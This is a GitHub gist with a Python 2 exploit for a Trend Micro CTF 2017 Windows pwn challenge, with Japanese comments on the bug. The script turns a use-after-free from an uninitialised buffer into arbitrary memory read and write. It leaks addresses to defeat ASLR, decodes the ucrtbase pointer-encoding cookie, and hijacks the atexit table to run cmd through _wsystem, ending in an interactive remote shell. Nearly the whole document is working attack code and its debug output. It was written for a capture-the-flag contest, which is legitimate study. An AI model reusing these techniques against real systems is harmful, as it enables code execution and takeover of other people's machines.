Skip to content

Instantly share code, notes, and snippets.

@eggpod
Last active July 2, 2017 15:58
Show Gist options
  • Save eggpod/b0153b419fea31c6e0e922c95e0198cf to your computer and use it in GitHub Desktop.
Save eggpod/b0153b419fea31c6e0e922c95e0198cf to your computer and use it in GitHub Desktop.
# coding: utf-8
# Trend Micro CTF 2017 pre - Analysis-Offensive 400
from struct import *
from socket import *
import re
from winappdbg import Process, System, win32
"""
CTF開催中とは異なり/nojailでしか試してません。(カレントディレクトリのucrtbase.dllを読み込むとクラッシュため)
AppJailLauncher.exe /key:flag.txt /port:4017 /timeout:36000000 /nojail playground.exe
struct Game {
u32 id;
char* desc;
u32 difficulty;
char* buffer;
}
struct Ticket {
u32 anual ;
u32 id;
u32 type;
Game* game;
}
1). Type4でgameにサイズ0x20のheapのアドレスを残して解放する。
ticket1 = malloc(0x20)
ticket1->type = 4
ticket1->annual = 0
ticket1->game = malloc(0x20)
ticket1->game->buffer = malloc(10*2)
free(ticket1->game->buffer)
free(ticket1->game)
free(ticket1)
2). Type2でannualなチケットを作る。
ticket2->gameがticket1->game->bufferと同じなら成功
ticket2 = malloc(0x20)
ticket2->type = 2
ticket2->annual = 1
ticket2->game = malloc(0x20) # ticket2->game == ticket1->game->buffer
TicketBase : 0x1110413b70L
Annual : 0x1
ID : 0x47
Type : 0x2
GameBase : 0x1110413b40L
ID : 0x47
Desc : 0x7ff7e25f44f0L
Diffculty : 0xa
Buffer : 0x1110414270L
TicketBase : 0x1110413c30L
Annual : 0x0
ID : 0x48
Type : 0x4
GameBase : 0x1110413c00L
ID : 0x48
Desc : 0x7ff7e25f4d48L
Diffculty : 0x4
Buffer : 0x1110413b40L
3). Type4のゲームには、difficulty>=11の時にgameが実行されずgame->bufferが未初期化状態になる脆弱性がある。
また、annual==0 && difficulty=11なら未初期化でfreeされる。
1)のticket1->game->bufferの値が変更されずに残っていれば、ticket3->game->bufferはticket2->gameのアドレスが残ったままとなっている。
この状態なら利用中のticket2->gameがfreeされる
ticket3 = malloc(0x20)
ticket3->type = 4
ticket3->annual = 0
ticket3->game = malloc(0x20)
ticket3->game->buffer = ticket2->game # 未初期化。 ticket2->gameが残っている状態
free(ticket3->game->buffer) # 未初期化のためticket2->gameをfreeする
free(ticket3->game)
free(ticket3)
int read_difficulty()
{
int difficulty;
cout << "What difficulty do you want to play ?\n> ";
cin >> difficulty;
if(difficulty < 0) {
cout << "Invalid\n";
return 0;
} else if(difficulty <= 10) {
return difficulty;
} else {
cout << "Are you kidding me ?\n";
return -1;
}
}
void play_game()
{
...
switch(ticket->type)
{
case 4:
money = play_game4(ticket->game);
if(ticket->annual != 0)
return;
if(money == 0 || game == 0)
goto game_end;
free(ticket->game->buffer);
free(ticket->game);
break;
}
...
}
4). Type5でannualなチケットを作る
ticket4->game == ticket2->gameなら成功。
この状態では、ticket2->gameとticket4->gameは同じアドレスを指し、ticket2->type==2、ticket4->type==5となっている。
それぞれのゲームを遊んだ場合には以下の動作となる。
Type2ではgame->bufferを1バイトずつ書き換えることができ、またgame->bufferリの内容をリークしてくれる。
Type5ではgame->bufferの内容を8バイトまで書き換えることができる
また、両方のチケットともannual == 1のため永久に使える。
この時点で基本的に最大8バイトの任意メモリの読み書きが可能となる。
ticket4 = malloc(0x20)
ticket4->type = 5
ticket4->annual = 1
ticket4->game = malloc(0x20) # ticket4->game == ticket2->game
ticket4->game->buffer = annual_code_ptr
TicketBase : 0x1110413b70L
Annual : 0x1
ID : 0x47
Type : 0x2
GameBase : 0x1110413b40L
ID : 0x4a
Desc : 0x7ff7e25f4da8L
Diffculty : 0xa
Buffer : 0x7ff7e25f76d8L
TicketBase : 0x1110413e40L
Annual : 0x1
ID : 0x4a
Type : 0x5
GameBase : 0x1110413b40L
ID : 0x4a
Desc : 0x7ff7e25f4da8L
Diffculty : 0xa
Buffer : 0x7ff7e25f76d8L
成功するとinfo_ticketの結果のgame_nameとdescriptionが異なる状態になる
"GuessME" && "You are so kind"
[136, 'Annual', 'GuessME', 'You are so kind']
[137, 'Annual', 'GuessME', 'Do you know what i am thinking ? Guess me if you can']
[140, 'Annual', 'DonateME', 'You are so kind']
[141, 'Annual', 'DonateME', 'You are so kind']
5). ASLRアドレスの特定
Type5で設定されるgame->bufferの値はannual codeの置かれているアドレスであり、
実行ファイルの.data セクションのアドレスなこと、近くにstd::vector<Ticket*>を保存した構造体があるため、
初めに1byte単位で一部書き換えるた後にType2で遊ぶことでチケットに利用されているheapのアドレスがわかる。
Type5のチケットのgame->bufferのannual_code_ptrは実行ファイル内のアドレスのためheapと実行ファイルのASLRを突破できる。
game_play(ticket2)
read(stdin, &ticket2->game->buffer, 8) # game2でアドレスの変更
game_play(ticket4)
read(stdin, ticket4->game->buffer, 8) # game5で内容の書き換え
"""
ror64 = lambda x,n:((x>>n)|(x<<(64-n)))&0xFFFFFFFFFFFFFFFF
rol64 = lambda x,n: ror64(x, 64-n)
pointer_decode = lambda x,cookie: ror64(cookie^x, cookie&0x3F)
pointer_encode = lambda x,cookie: rol64(x,cookie&0x3f)^cookie
DEBUG=True
GAME_CALC = 1
GAME_GUESS = 2
GAME_QA = 3
GAME_BINGO = 4
GAME_DONATE = 5
INIT_MONEY = 300
PADDING_TICKET = 30
NtSetInformationProcess = win32.windll.ntdll.NtSetInformationProcess
NtSetInformationProcess.argtypes = [win32.HANDLE, win32.ULONG, win32.PVOID, win32.ULONG]
NtSetInformationProcess.rettype = win32.ULONG
RtlNtStatusToDosError = win32.windll.ntdll.RtlNtStatusToDosError
RtlNtStatusToDosError.argtypes = [win32.ULONG]
RtlNtStatusToDosError.rettype = win32.ULONG
def SetProcessDefaultHardErrorMode(hProcess, mode):
ProcessDefaultHardErrorMode = 12
mode = win32.ULONG(mode)
result = NtSetInformationProcess(hProcess, ProcessDefaultHardErrorMode, win32.byref(mode), 4)
result = RtlNtStatusToDosError(result)
return result
def DisableCrashDialog(hProcess):
SEM_FAILCRITICALERRORS = 0x0001
SEM_NOGPFAULTERRORBOX = 0x0002
SEM_NOOPENFILEERRORBOX = 0x8000
return SetProcessDefaultHardErrorMode(hProcess, SEM_FAILCRITICALERRORS|SEM_NOGPFAULTERRORBOX)
def dump_ticket():
if not DEBUG:
return
system = System()
process_list = system.find_processes_by_filename("playground.exe")
assert(len(process_list) == 1)
proc = process_list[0][0]
DisableCrashDialog(proc.get_handle())
base_addr = 0
for addr in win32.EnumProcessModulesEx(proc.get_handle()):
name = win32.GetModuleFileNameExW(proc.get_handle(), addr)
if re.search("playground\\.exe", name):
base_addr = addr
assert(base_addr != 0)
ticket_list_addr = base_addr + 0x76f8
ticket_list_begin, ticket_list_end = unpack("2Q", proc.read(ticket_list_addr, 8*2))
ticket_count = (ticket_list_end - ticket_list_begin)//8
ticket_addrs = unpack("Q"*ticket_count, proc.read(ticket_list_begin, ticket_count*8))
ticket_addrs = ticket_addrs[PADDING_TICKET:]
print "TicketTable : %s" % (hex(ticket_list_begin))
for addr in ticket_addrs:
ticket_raw = unpack("4Q", proc.read(addr, 8*4))
print "TicketBase : %s" % hex(addr)
print " Annual : %s" % hex(ticket_raw[0])
print " ID : %s" % hex(ticket_raw[1])
print " Type : %s" % hex(ticket_raw[2])
print " GameBase : %s" % hex(ticket_raw[3])
game_raw = unpack("4Q", proc.read(ticket_raw[3], 8*4))
print " ID : %s" % hex(game_raw[0])
print " Desc : %s" % hex(game_raw[1])
print " Diffculty : %s" % hex(game_raw[2])
print " Buffer : %s" % hex(game_raw[3])
def read_until(p, delim = "\n"):
s = ""
while 1:
c = p.recv(1)
s += c
if s[-len(delim):] == delim:
return s
#print [s]
def read_skip(p, size):
total = 0
while total != size:
r = p.recv(size-total)
total += len(r)
def read_menu(sock):
r = read_until(sock, "choice> ")
#print r
def leave(sock):
sock.sendall("0\n")
def buy_ticket(sock, game_type, use_code=False):
if use_code:
sock.sendall("1\n%d\n%s\n" % (game_type, "y"))
else:
sock.sendall("1\n%d\n%s\n" % (game_type, "n"))
read_until(sock, "Finished, Ticket ID is ")
ticket_id = int(read_until(sock,"\n"))
read_menu(sock)
return ticket_id
def info_ticket(sock, ticket_id):
sock.sendall("2\n%d\n" % (ticket_id))
read_until(sock, "> ")
s1 = read_until(sock, "\n") # Ticket ID: 0001
if re.search('Ticket does not exist', s1):
info = None
else:
s2 = read_until(sock, "\n") # Type:
s3 = read_until(sock, "\n") # Game:
s4 = read_until(sock, "\n") # Description:
info = []
info.append(int(s1[len("Ticket ID: "):-2], 10))
info.append(s2[len("Type: "):-2])
info.append(s3[len("Game: "):-2])
info.append(s4[len("Description: "):-2])
read_menu(sock)
return info
def play_game1(sock, ticket_id, difficulty, answer = None):
sock.sendall("3\n%d\n%d\n" % (ticket_id, difficulty))
read_until(sock, "Give me your ticket id> ")
read_until(sock, "> ")
r = read_until(sock, "=?\r\n")
#print "calc:%s" % r[0:-4]
calc = re.split("([+*])", r[0:-4])
if answer == None:
left = calc[0]
answer = 0
for i in range(1,len(calc)-1,2):
answer = eval(str(left) + calc[i] + calc[i+1])
left = answer
#print "answer:%d" % (answer)
sock.sendall("%d\n" % answer)
r = read_until(sock, "\n")
assert("Congrats!\r\n" == r)
else:
#print "answer:%d" % (answer)
sock.sendall("%d\n" % answer)
read_menu(sock)
def play_game2(sock, ticket_id, difficulty, answer="1", is_hit = False):
sock.sendall("3\n%d\n%d\n" % (ticket_id, difficulty))
read_until(sock,"> ")
read_until(sock,"> ")
r = read_until(sock,">")
r = re.search("Try guess password \\(([0-9]+)\\)\\>", r)
count = int(r.group(1))
for i in range(count):
sock.sendall("%s\n" % (answer))
read_menu(sock)
def play_game3(sock, ticket_id, difficulty, answer = "1", is_hit=False):
sock.sendall("3\n%d\n%d\n" % (ticket_id, difficulty))
read_until(sock,"> ")
read_until(sock,"> ")
sock.sendall(answer+"\n");
read_menu(sock)
def play_game4(sock, ticket_id, difficulty):
sock.sendall("3\n%d\n%d\n" % (ticket_id, difficulty))
read_until(sock,"> ")
read_until(sock,"> ")
read_menu(sock)
def play_game5(sock, ticket_id, code):
sock.sendall("3\n%d\n%s\n" % (ticket_id, code))
read_until(sock,"> ")
read_until(sock,"Thank you, ")
data = read_until(sock,"\r\n")
data = data[0:-2]
read_menu(sock)
return data
def add_money(sock, total_money):
for money in range(0, total_money, 10):
ticket_id = buy_ticket(sock, 1)
play_game1(sock, ticket_id, 10)
def set_annualcode(sock, code):
ticket_id = buy_ticket(sock, 5)
play_game5(sock, ticket_id, code)
def check_money(sock):
sock.sendall("4\n")
r = read_until(sock, "You won $")
money = read_until(sock, "\r\n")
money = money[0:-2]
read_menu(sock)
return int(money)
memory_game2_ticket_id = None
memory_game5_ticket_id = None
def set_memory_rw_ticket(game2_ticket_id, game5_ticket_id):
global memory_game2_ticket_id, memory_game5_ticket_id
memory_game2_ticket_id = game2_ticket_id
memory_game5_ticket_id = game5_ticket_id
def write_memory(sock, addr, data):
addr = pack("Q", addr)
assert(len(data) <= 8)
play_game2(sock, memory_game2_ticket_id, 10, addr)
leak = play_game5(sock, memory_game5_ticket_id, data)
return leak
def read_memory(sock, addr):
return write_memory(sock, addr, "")
def read_memory_u64(sock, addr, minsize=0):
r = read_memory(sock, addr)
print [r]
assert(len(r) >= minsize)
return unpack("Q", r.ljust(8, "\x00")[0:8])[0]
def main():
sock = socket(AF_INET, SOCK_STREAM)
try:
sock.connect(("localhost", 4017))
#sock.settimeout(20)
read_menu(sock)
add_money(sock, INIT_MONEY)
set_annualcode(sock, "UCQxLVtT")
# おまじない。なるべく隙間を埋める
for i in range(PADDING_TICKET):
ticket_id = buy_ticket(sock, 1, use_code=True)
play_game1(sock, ticket_id, 1)
# おまじない。game->bufferにheapのアドレスを残す
for i in range(10):
ticket_id = buy_ticket(sock, 4)
play_game4(sock, ticket_id, 10)
old_ticket_id1 = buy_ticket(sock, 2, use_code=True)
old_ticket_id2 = 0#buy_ticket(sock, 2, use_code=True) # おまじない。調整用
print "--exploit--"
ticket_id1 = buy_ticket(sock, 4)
ticket_id2 = buy_ticket(sock, 4)
dump_ticket()
play_game4(sock, ticket_id1, 11)
play_game4(sock, ticket_id2, 11)
dump_ticket()
new_ticket_id1 = buy_ticket(sock, 5, use_code=True)
new_ticket_id2 = buy_ticket(sock, 5, use_code=True)
print "--memory view--"
dump_ticket()
info2 = []
for i in range(old_ticket_id1, old_ticket_id1+8):
r = info_ticket(sock, i)
if r != None:
info2.append(r)
print "--info--"
for info in info2:
print info
print "--end--"
if info2[0][2] == 'GuessME' and info2[0][3][0:3] == 'You':
game2_ticket_id = old_ticket_id1
game5_ticket_id = new_ticket_id1
elif info2[1][2] == 'GuessME' and info2[1][3][0:3] == 'You':
game2_ticket_id = old_ticket_id2
game5_ticket_id = new_ticket_id1
else:
raise Exception("ticket information")
set_memory_rw_ticket(game2_ticket_id, game5_ticket_id)
print hex(game2_ticket_id), hex(game5_ticket_id)
# moneyを変える
play_game2(sock, game2_ticket_id, 10, pack("B", 0xE8))
play_game5(sock, game5_ticket_id, pack("Q", 1000000+2))
# check_moneyにより"You won $1000000"が表示される
money = check_money(sock)
assert(money == 1000000)
# ticket tableのheap addressをleak
play_game2(sock, game2_ticket_id, 10, pack("B", 0xF8))
leak = play_game5(sock, game5_ticket_id, "")
leak_ticket_table_addr = unpack("Q", leak.ljust(8,"\x00"))[0]
print hex(leak_ticket_table_addr)
dump_ticket()
for i in range(4):
try:
# Type5のticket ptrを読む。
leak_ticket_addr = read_memory_u64(sock, leak_ticket_table_addr+(PADDING_TICKET+i)*8, minsize=4)
print "ticket=%s"%hex(leak_ticket_addr)
# game ptrを読む
leak_game_addr = read_memory_u64(sock, leak_ticket_addr+0x18, minsize=4)
print "game=%s"%hex(leak_game_addr)
# game->descを読む
leak_desc_addr = read_memory_u64(sock, leak_game_addr+0x08, minsize=4)
break
except Exception, e:
print e
# base addressを求める
if (leak_desc_addr & 0xFFF) == 0x4F0:
leak_base_addr = leak_desc_addr - 0x44f0 # Do you know what i am thinking ? Guess me if you can
elif (leak_desc_addr & 0xFFF) == 0xDA8:
leak_base_addr = leak_desc_addr - 0x4da8 # You are so kind
else:
raise Exception("description address")
# base addressの確認
print "base=%s"%hex(leak_base_addr)
if (leak_base_addr & ~0xFFF) == 0 and pack("Q", leak_base_addr).find("\x0a") != -1:
raise Exception("base address")
ucrtbase_exit_offset = 0x6860
wsystem_offset = 0x0A4CE8
# ucrtbase
leak_exit_addr = read_memory_u64(sock, leak_base_addr+0x41e0, minsize=4)
leak_ucrtbase_base = leak_exit_addr - ucrtbase_exit_offset
print "ucrt_base : %s" % hex(leak_ucrtbase_base)
print "--read security_cookie--"
# cookie
cookie = read_memory_u64(sock, leak_ucrtbase_base+0xE5420, minsize=4)
# encrypt ptr
# 0xE70A8, 0xE7090
atexit_ctx_ptr = leak_ucrtbase_base+0xE70A8
print "atexit_ctx : %s" % hex(atexit_ctx_ptr)
print "--encrypt_ptr--"
encrypt_ptr = read_memory_u64(sock, atexit_ctx_ptr+8, minsize=4)
decrypt_ptr = pointer_decode(encrypt_ptr, cookie)
print "decrypt_ptr : %s" % hex(decrypt_ptr)
wsystem_addr = leak_ucrtbase_base + 0xA4DAE
cmd_addr = decrypt_ptr-0x40
print "wsystem : %s" % hex(wsystem_addr)
print "cmd : %s" % hex(cmd_addr)
# onexitで使う部分を書き換える
func_addr = wsystem_addr
func_addr = rol64(func_addr, (cookie&0x3f)) ^ cookie
encrypt_cmd_addr = pointer_encode(cmd_addr, cookie)
print "--write 1--"
write_memory(sock, decrypt_ptr-8, pack("Q", func_addr))
write_memory(sock, decrypt_ptr-0x20, pack("Q", 0))
print "--write 2--"
write_memory(sock, atexit_ctx_ptr, pack("Q", encrypt_cmd_addr))
print "--write 3--"
write_memory(sock, cmd_addr, "c\x00m\x00d\x00\x00\x00")
# rsp 16バイトalignment対策
call_execute_on_exit_table = leak_ucrtbase_base+0x69f5
call_execute_on_exit_table = pointer_encode(call_execute_on_exit_table, cookie)
write_memory(sock, leak_ucrtbase_base+0xe7418, pack("Q", call_execute_on_exit_table))
leave(sock)
print "shell>"
import telnetlib
t = telnetlib.Telnet()
t.sock = sock
t.interact()
finally:
sock.close()
for i in range(100):
try:
main()
except Exception, e:
print "retry"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment